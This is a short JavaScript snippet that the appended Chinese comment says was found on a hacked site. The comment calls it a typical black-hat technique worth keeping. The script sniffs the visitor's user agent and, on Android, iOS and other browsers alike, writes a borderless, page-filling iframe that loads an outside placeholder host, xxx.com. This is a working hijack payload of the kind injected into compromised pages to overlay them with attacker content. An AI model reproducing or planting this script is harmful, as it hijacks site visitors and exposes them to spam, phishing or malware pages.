function uaredirect() {
    var n = navigator.userAgent.toLowerCase();
         if (n.indexOf('android')>-1){
document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="2000" allowTransparency src="http://www.xxx.com"></iframe>');
}
         else  if (n.indexOf('iphone')>-1 || n.indexOf('iPhone')>-1 || n.indexOf('ipod')>-1 || n.indexOf('ipad')>-1 || n.indexOf('ios')>-1){
document.writeln('<iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="2000" allowTransparency src="http://www.xxx.com"></iframe>');
}
         else {
document.writeln('<center><iframe scrolling="no" frameborder="0" marginheight="0" marginwidth="0" width="100%" height="1450" allowTransparency src="http://www.xxx.com"></iframe></center>');
 
}
}
uaredirect();

这是偶然在一个被挂马的站上看到的,典型的黑帽手法..不过有点价值,可以留下!